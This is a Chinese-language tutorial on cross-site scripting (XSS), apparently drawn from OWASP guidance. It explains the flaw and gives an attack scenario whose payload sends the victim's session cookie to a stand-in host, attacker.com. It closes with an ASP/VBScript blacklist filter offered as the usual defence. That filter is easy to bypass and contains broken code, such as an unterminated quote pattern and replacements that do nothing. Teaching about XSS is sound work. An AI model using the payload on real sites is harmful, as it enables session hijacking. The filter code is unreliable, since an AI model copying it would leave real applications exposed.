XSS攻擊(跨站腳本)
當(dāng)應(yīng)用程序收到含有不可信的數(shù)據(jù),在沒(méi)有進(jìn)行適當(dāng)?shù)尿?yàn)證和轉(zhuǎn)義的情況下,就將它發(fā)送給一個(gè)網(wǎng)頁(yè)瀏覽器,或者使用可以創(chuàng)建javaScript腳本的瀏覽器API利用用戶(hù)提供的數(shù)據(jù)更新現(xiàn)有網(wǎng)頁(yè),這就會(huì)產(chǎn)生跨站腳本攻擊。XSS允許攻擊者在受害者的瀏覽器上執(zhí)行腳本,從而劫持用戶(hù)會(huì)話(huà)、危害網(wǎng)站或者將用戶(hù)重定向到惡意網(wǎng)站。

我存在XSS漏洞嗎?
如果你的服務(wù)器端代碼使用用戶(hù)提供的輸入作為HTML輸出的一部分,而你不要使用敏感的轉(zhuǎn)義,以確保它不能運(yùn)行,那么你就存在了服務(wù)器端XSS漏洞。如果一個(gè)網(wǎng)頁(yè)使用JavaScript來(lái)動(dòng)態(tài)添加攻擊者—可控的數(shù)據(jù)到一個(gè)網(wǎng)頁(yè),你可能有客戶(hù)端XSS。理想情況下,最好避免將攻擊者可控的數(shù)據(jù)發(fā)送到不安全的JavaScriptAPI,也可以通過(guò)轉(zhuǎn)義(在較小程度上)輸入驗(yàn)證加強(qiáng)安全。
自動(dòng)化工具能夠自動(dòng)找到一些跨站腳本漏洞。然而,每一個(gè)應(yīng)用程序使用不同的方式生成輸出頁(yè)面,并且使用不同的瀏覽器端解釋器,如JavaScript、ActiveX、Flash和Silverlight,這使得自動(dòng)檢測(cè)變得很困難。通常使用建立在這些庫(kù)之上的第三方庫(kù),這種多樣性使得自動(dòng)化檢測(cè)困難,特別是使用現(xiàn)代單頁(yè)應(yīng)用程序時(shí)功能強(qiáng)大的JavaScript框架和庫(kù)。因此,要想達(dá)到全面覆蓋,須使用結(jié)合的方式,在自動(dòng)檢測(cè)的基礎(chǔ)上,采用人工代碼審核和手動(dòng)滲透測(cè)試。
攻擊案例場(chǎng)景
應(yīng)用程序在下面HTML代碼段的構(gòu)造中使用未經(jīng)驗(yàn)證或轉(zhuǎn)義的不可信的數(shù)據(jù):
(String)page+="<inputname='creditcard'type='TEXT‘value='"+request.getParameter("CC")+"'>";
攻擊者在瀏覽器中修改“CC”參數(shù)為如下值:
'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>'.
這個(gè)攻擊導(dǎo)致受害者的會(huì)話(huà)ID被發(fā)送到攻擊者的網(wǎng)站,使得攻擊者能夠劫持用戶(hù)當(dāng)前會(huì)話(huà)。
請(qǐng)注意攻擊者同樣能使用跨站腳本攻破應(yīng)用程序可能使用的任何跨站請(qǐng)求偽造(CSRF)防御機(jī)制。
如何防止XSS?
防止XSS需要將不可信數(shù)據(jù)與動(dòng)態(tài)的瀏覽器內(nèi)容區(qū)分開(kāi)。
- 為了避免服務(wù)器XSS,最好的辦法是根據(jù)數(shù)據(jù)將要置于的HTML上下文(包括主體、屬性、JavaScript、CSS或URL)對(duì)所有的不可信數(shù)據(jù)進(jìn)行恰當(dāng)?shù)霓D(zhuǎn)義(escape)。
- 為了避免客戶(hù)端XSS,最好的選擇是避免傳遞不受信任的數(shù)據(jù)到JavaScript和可以生成活動(dòng)內(nèi)容的其他瀏覽器API。如果這種情況不能避免,可以采用OWASPDOMbasedXSSPreventionCheatSheet描述的類(lèi)似上下文敏感的轉(zhuǎn)義技術(shù)應(yīng)用于瀏覽器API。
- 通常防止腳本如下:
Function XSSRequest(id)
XSSRequest=checkXSS_II(Request(id),3) '3代表循環(huán)次數(shù),用遞歸更合理
end function
function checkXSS_II(strHTML,times) '<scr<script>ipt>alert('456');</script> 防止嵌套多個(gè)<script>
If Isnull(strHTML) Then
checkXSS_II = ""
Exit Function
End If
for cx=1 to times
strHTML=checkXSSF(strHTML)
next
checkXSS_II=strHTML
end function
Function checkXSSF(strHTML)
If Isnull(strHTML) Then
checkXSSF = ""
Exit Function
End If
'strHTML=server.HTMLEncode (strHTML)
Dim objRegExp,strOutput,Matches
Set objRegExp=New Regexp
objRegExp.IgnoreCase=true
objRegExp.Global=True
objRegExp.Pattern = Chr(0)
strOutput = objRegExp.Replace(strHTML, "")
objRegExp.Pattern = "<"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "<script>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "</script>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "<script"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "</script"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "script>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = ">"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = """
strOutput = objRegExp.Replace(strOutput, """")
objRegExp.Pattern = "<object"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "</object>"
strOutput = objRegExp.Replace(strOutput, "")
objRegExp.Pattern = "<"
strOutput = objRegExp.Replace(strOutput, "<")
objRegExp.Pattern = ">"
strOutput = objRegExp.Replace(strOutput, ">")
strOutput = Replace(strOutput,"alert(","")
checkXSSF =strOutput
Set objRegExp=Nothing
End Function